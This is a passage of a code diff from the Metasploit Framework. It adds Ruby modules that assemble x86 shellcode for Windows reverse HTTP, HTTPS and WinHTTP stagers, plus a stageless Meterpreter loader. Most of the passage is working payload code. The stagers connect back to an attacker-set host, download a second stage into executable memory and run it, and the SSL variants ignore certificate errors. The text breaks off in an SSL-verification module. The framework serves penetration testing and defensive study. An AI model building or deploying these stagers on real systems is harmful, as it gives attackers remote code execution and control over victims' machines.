def asm_exitfunk(opts={})
asm = "exitfunk:\n"
case opts[:exitfunk]
when 'seh'
asm << %Q^
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['seh']}
push.i8 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; SetUnhandledExceptionFilter(0)
push.i8 0
ret ; Return to NULL (crash)
^
# On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread
# on WoW64 processes, instead we need to call RtlExitUserThread. This stub will
# automatically generate the right code depending on the selected exit method.
when 'thread'
asm << %Q^
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['thread']}
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
jl exitfunk_goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne exitfunk_goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
exitfunk_goodbye: ; We now perform the actual call to the exit function
push.i8 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; call ExitThread(0) || RtlExitUserThread(0)
^
when 'process', nil
asm << %Q^
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['process']}
push.i8 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; ExitProcess(0)
^
when 'sleep'
asm << %Q^
mov ebx, #{"0x%.8x" % Rex::Text.ror13_hash('Sleep')}
push 300000 ; 300 seconds
push ebx ; push the hash of the function
call ebp ; Sleep(300000)
jmp exitfunk ; repeat
^
else
# Do nothing and continue after the end of the shellcode
end
asm
end
end
end

View File

@ -34,7 +34,7 @@ module Msf::Payload::Windows::PrependMigrate
#
# Overload the generate() call to prefix our stubs
#
def prepends(buf)
def apply_prepend_migrate(buf)
pre = ''
test_arch = [ *(self.arch) ]

View File

@ -0,0 +1,432 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/exitfunk'
module Msf
###
#
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S)
#
###
module Payload::Windows::ReverseHttp
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Windows::Exitfunk
#
# Register reverse_http specific options
#
def initialize(*args)
super
register_advanced_options(
[
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
], self.class)
end
#
# Generate the first stage
#
def generate
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_reverse_http(
ssl: false,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
end
conf = {
ssl: false,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass'],
proxy_type: datastore['PayloadProxyType'],
retry_count: datastore['StagerRetryCount']
}
generate_reverse_http(conf)
end
#
# Generate and compile the stager
#
def generate_reverse_http(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_http(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Generate the URI for the initial stager
#
def generate_uri
uri_req_len = datastore['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + rand(256-30)
end
if uri_req_len < 5
raise ArgumentError, "Minimum StagerURILength is 5"
end
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
end
#
# Generate the URI for the initial stager
#
def generate_small_uri
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length
space += 256
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# Proxy options?
space += 200
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [String] :proxy_host The optional proxy server host to use
# @option opts [Fixnum] :proxy_port The optional proxy server port to use
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
#
def asm_reverse_http(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
proxy_info = ""
if proxy_enabled
if opts[:proxy_type].to_s.downcase == "socks"
proxy_info << "socks="
else
proxy_info << "http://"
end
proxy_info << opts[:proxy_host].to_s
if opts[:proxy_port].to_i > 0
proxy_info << ":#{opts[:proxy_port]}"
end
end
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
http_open_flags = 0
if opts[:ssl]
#;0x80000000 | ; INTERNET_FLAG_RELOAD
#;0x04000000 | ; INTERNET_NO_CACHE_WRITE
#;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
#;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
#;0x00000200 | ; INTERNET_FLAG_NO_UI
#;0x00800000 | ; INTERNET_FLAG_SECURE
#;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
#;0x00001000 ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
http_open_flags = ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 )
else
#;0x80000000 | ; INTERNET_FLAG_RELOAD
#;0x04000000 | ; INTERNET_NO_CACHE_WRITE
#;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
#;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
#;0x00000200 ; INTERNET_FLAG_NO_UI
http_open_flags = ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 )
end
asm = %Q^
;-----------------------------------------------------------------------------;
; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
;-----------------------------------------------------------------------------;
; Input: EBP must be the address of 'api_call'.
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
xor ebx, ebx ; Set ebx to NULL to use in future arguments
^
if proxy_enabled
asm << %Q^
internetopen:
push ebx ; DWORD dwFlags
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
call get_proxy_server
db "#{proxy_info}", 0x00
get_proxy_server:
; LPCTSTR lpszProxyName (via call)
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
^
else
asm << %Q^
internetopen:
push ebx ; DWORD dwFlags
push ebx ; LPCTSTR lpszProxyBypass (NULL)
push ebx ; LPCTSTR lpszProxyName (NULL)
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
^
end
asm << %Q^
internetconnect:
push ebx ; DWORD_PTR dwContext (NULL)
push ebx ; dwFlags
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ebx ; password (NULL)
push ebx ; username (NULL)
push #{opts[:port]} ; PORT
call got_server_uri ; double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
db "#{opts[:url]}", 0x00
got_server_host:
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
mov esi, eax ; Store hConnection in esi
^
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
# doesn't set the Proxy-Authorization header on the CONNECT request.
if proxy_enabled && proxy_user
asm << %Q^
; DWORD dwBufferLength (length of username)
push #{proxy_user.length}
call set_proxy_username
proxy_username:
db "#{proxy_user}",0x00
set_proxy_username:
; LPVOID lpBuffer (username from previous call)
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
^
end
if proxy_enabled && proxy_pass
asm << %Q^
; DWORD dwBufferLength (length of password)
push #{proxy_pass.length}
call set_proxy_password
proxy_password:
db "#{proxy_pass}",0x00
set_proxy_password:
; LPVOID lpBuffer (password from previous call)
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
^
end
asm << %Q^
httpopenrequest:
push ebx ; dwContext (NULL)
push #{"0x%.8x" % http_open_flags} ; dwFlags
push ebx ; accept types
push ebx ; referrer
push ebx ; version
push edi ; server URI
push ebx ; method
push esi ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
xchg esi, eax ; save hHttpRequest in esi
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
send_request:
^
if opts[:ssl]
asm << %Q^
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options:
push 0x00003380
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
mov eax, esp
push 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
^
end
asm << %Q^
httpsendrequest:
push ebx ; lpOptional length (0)
push ebx ; lpOptional (NULL)
push ebx ; dwHeadersLength (0)
push ebx ; lpszHeaders (NULL)
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
test eax,eax
jnz allocate_memory
try_it_again:
dec edi
jnz send_request
; if we didn't allocate before running out of retries, bail out
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
asm << %Q^
allocate_memory:
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call ebp
test eax,eax ; download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
got_server_uri:
pop edi
call got_server_host
server_host:
db "#{opts[:host]}", 0x00
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
#
# Do not transmit the stage over the connection. We handle this via HTTPS
#
def stage_over_connection?
false
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end
end

View File

@ -0,0 +1,70 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/reverse_http'
module Msf
###
#
# Complex payload generation for Windows ARCH_X86 that speak HTTPS
#
###
module Payload::Windows::ReverseHttps
include Msf::Payload::Windows::ReverseHttp
#
# Generate and compile the stager
#
def generate_reverse_https(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_http(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Generate the first stage
#
def generate
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_reverse_https(
ssl: true,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
end
conf = {
ssl: true,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass'],
proxy_type: datastore['PayloadProxyType'],
retry_count: datastore['StagerRetryCount']
}
generate_reverse_https(conf)
end
end
end

View File

@ -0,0 +1,395 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/exitfunk'
require 'msf/core/payload/windows/reverse_http'
module Msf
###
#
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP
#
###
module Payload::Windows::ReverseWinHttp
include Msf::Payload::Windows::ReverseHttp
#
# Register reverse_winhttp specific options
#
def initialize(*args)
super
end
#
# Generate the first stage
#
def generate
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_reverse_winhttp(
ssl: false,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
end
conf = {
ssl: false,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC'],
retry_count: datastore['StagerRetryCount']
}
generate_reverse_winhttp(conf)
end
#
# Generate and compile the stager
#
def generate_reverse_winhttp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_winhttp(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length
space += 256
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# The final estimated size
space
end
#
# Convert a string into a NULL-terminated wchar byte array
#
def asm_generate_wchar_array(str)
( str.to_s + "\x00" ).
unpack("C*").
pack("v*").
unpack("C*").
map{ |c| "0x%.2x" % c }.
join(",")
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
#
def asm_reverse_winhttp(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
verify_ssl = nil
encoded_cert_hash = nil
encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host])
if opts[:ssl] && opts[:verify_cert_hash]
verify_ssl = true
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
end
http_open_flags = 0
if opts[:ssl]
# ;0x00800000 ; WINHTTP_FLAG_SECURE
# ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
http_open_flags = (0x00800000 | 0x00000100)
else
# ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
http_open_flags = 0x00000100
end
asm = %Q^
; Input: EBP must be the address of 'api_call'.
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_winhttp:
push 0x00707474 ; Push the string 'winhttp',0
push 0x686E6977 ; ...
push esp ; Push a pointer to the "winhttp" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "winhttp" )
^
if verify_ssl
asm << %Q^
load_crypt32:
push 0x00323374 ; Push the string 'crypt32',0
push 0x70797263 ; ...
push esp ; Push a pointer to the "crypt32" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wincrypt" )
^
end
asm << %Q^
xor ebx, ebx
WinHttpOpen:
push ebx ; Flags
push ebx ; ProxyBypass (NULL)
push ebx ; ProxyName (NULL)
push ebx ; AccessType (DEFAULT_PROXY= 0)
push ebx ; UserAgent (NULL) [1]
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
call ebp
WinHttpConnect:
push ebx ; Reserved (NULL)
push #{opts[:port]} ; Port [3]
call got_server_uri ; Double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in edi for later
db #{encoded_url}
got_server_host:
push eax ; Session handle returned by WinHttpOpen
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
call ebp
WinHttpOpenRequest:
push #{"0x%.8x" % http_open_flags}
push ebx ; AcceptTypes (NULL)
push ebx ; Referrer (NULL)
push ebx ; Version (NULL)
push edi ; ObjectName (URI)
push ebx ; Verb (GET method) (NULL)
push eax ; Connect handle returned by WinHttpConnect
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
call ebp
xchg esi, eax ; save HttpRequest handler in esi
^
if opts[:ssl]
asm << %Q^
; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) );
set_security_options:
push 0x00003300
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
mov eax, esp
push 4 ; sizeof(buffer)
push eax ; &buffer
push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
call ebp
^
end
asm << %Q^
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
send_request:
WinHttpSendRequest:
push ebx ; Context [7]
push ebx ; TotalLength [6]
push ebx ; OptionalLength (0) [5]
push ebx ; Optional (NULL) [4]
push ebx ; HeadersLength (0) [3]
push ebx ; Headers (NULL) [2]
push esi ; HttpRequest handle returned by WinHttpOpenRequest [1]
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
call ebp
test eax,eax
jnz check_response ; if TRUE call WinHttpReceiveResponse API
try_it_again:
dec edi
jnz send_request
; if we didn't allocate before running out of retries, fall through
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
# Jump target if the request was sent successfully
asm << %Q^
check_response:
^
# Verify the SSL certificate hash
if verify_ssl
asm << %Q^
ssl_cert_get_context:
push 4
mov ecx, esp ; Allocate &bufferLength
push 0
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
push ecx ; &bufferLength
push ebx ; &buffer
push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
push esi ; hHttpRequest
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
call ebp
test eax, eax ;
jz failure ; Bail out if we couldn't get the certificate context
; ebx
ssl_cert_allocate_hash_space:
push 20 ;
mov ecx, esp ; Store a reference to the address of 20
sub esp,[ecx] ; Allocate 20 bytes for the hash output
mov edi, esp ; edi will point to our buffer
ssl_cert_get_server_hash:
push ecx ; &bufferLength
push edi ; &buffer (20-byte SHA1 hash)
push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
push [ebx] ; *pCert
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
call ebp
test eax, eax ;
jz failure ; Bail out if we couldn't get the certificate context
ssl_cert_start_verify:
call ssl_cert_compare_hashes
db #{encoded_cert_hash}
ssl_cert_compare_hashes:
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
; edi points to the server-provided certificate hash
push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
pop ecx ;
mov edx, ecx ; Keep a reference to 4 in edx
ssl_cert_verify_compare_loop:
mov eax, [ebx] ; Grab the next DWORD of the hash
cmp eax, [edi] ; Compare with the server hash
jnz failure ; Bail out if the DWORD doesn't match
add ebx, edx ; Increment internal hash pointer by 4
add edi, edx ; Increment server hash pointer by 4
loop ssl_cert_verify_compare_loop
; Our certificate hash was valid, hurray!
ssl_cert_verify_cleanup:
xor ebx, ebx ; Reset ebx back to zero
^
end
asm << %Q^
receive_response:
; The API WinHttpReceiveResponse needs to be called
; first to get a valid handle for WinHttpReadData
push ebx ; Reserved (NULL)
push esi ; Request handler returned by WinHttpSendRequest
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
call ebp
test eax,eax
jz failure
^
asm << %Q^
allocate_memory:
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; NumberOfBytesRead (bytesRead)
push 8192 ; NumberOfBytesToRead
push ebx ; Buffer
push esi ; Request handler returned by WinHttpReceiveResponse
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
call ebp
test eax,eax ; if download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
got_server_uri:
pop edi
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
server_host:
db #{encoded_host}
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
end
end

View File

@ -0,0 +1,105 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/reverse_winhttp'
require 'msf/core/payload/windows/verify_ssl'
module Msf
###
#
# Complex payload generation for Windows ARCH_X86 that speak HTTPS using WinHTTP
#
###
module Payload::Windows::ReverseWinHttps
include Msf::Payload::Windows::ReverseWinHttp
include Msf::Payload::Windows::VerifySsl
#
# Register reverse_winhttps specific options
#
def initialize(*args)
super
register_advanced_options(
[
OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false])
], self.class)
end
#
# Generate and compile the stager
#
def generate_reverse_winhttps(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_winhttp(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Generate the first stage
#
def generate
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
if verify_cert_hash
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
end
return generate_reverse_winhttps(
ssl: true,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri,
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount'])
end
conf = {
ssl: true,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC'],
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount']
}
generate_reverse_winhttps(conf)
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
space = super
# SSL support adds 20 bytes
space += 20
# SSL verification adds 120 bytes
if datastore['StagerVerifySSLCert']
space += 120
end
space
end
end
end

View File

@ -0,0 +1,111 @@
#-*- coding: binary -*-
require 'msf/core'
require 'rex/payloads/meterpreter/patch'
module Msf
##
#
# Implements stageless invocation of metsrv in x86
#
##
module Payload::Windows::StagelessMeterpreter
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::ReflectiveDLLLoader
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
push ebx ; push the pointer to the extension list
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
mov ebx, eax ; save DllMain for another call
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
; push the exitfunk value onto the stack
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
push 5 ; indicate that we have detached
push eax ; push some arbitrary value for hInstance
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
^
asm
end
def generate_stageless_meterpreter(url = nil)
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll'))
conf = {
:rdi_offset => offset,
:length => dll.length,
:exitfunk => datastore['EXITFUNC']
}
asm = asm_invoke_metsrv(conf)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
print_error("Stageless Meterpreter generated with oversized x86 bootstrap.")
return
end
# patch the binary with all the stuff
dll[0, bootstrap.length] = bootstrap
# the URL might not be given, as it might be patched in some other way
if url
# Patch the URL using the patcher as this upports both ASCII and WCHAR.
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
# If the patching failed this could mean that we are somehow
# working with outdated binaries, so try to patch with the
# old stuff.
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
end
end
# if a block is given then call that with the meterpreter dll
# so that custom patching can happen if required
yield dll if block_given?
# append each extension to the payload, including
# the size of the extension
unless datastore['EXTENSIONS'].nil?
datastore['EXTENSIONS'].split(',').each do |e|
e = e.strip.downcase
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x86.dll'))
# append the size, offset to RDI and the payload itself
dll << [ext.length].pack('V') + ext
end
end
# Terminate the "list" of extensions
dll + [0].pack('V')
end
end
end

View File

@ -0,0 +1,36 @@
# -*- coding: binary -*-
require 'msf/core'
require 'rex/parser/x509_certificate'
module Msf
###
#
# Implements SSL validation check options
#
###
module Payload::Windows::VerifySsl
#
# Get the SSL hash from the certificate, if required.
#
def get_ssl_cert_hash(verify_cert, handler_cert)
unless verify_cert.to_s =~ /^(t|y|1)/i
return nil
end
unless handler_cert
raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is configured"
end
hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert)
print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}")
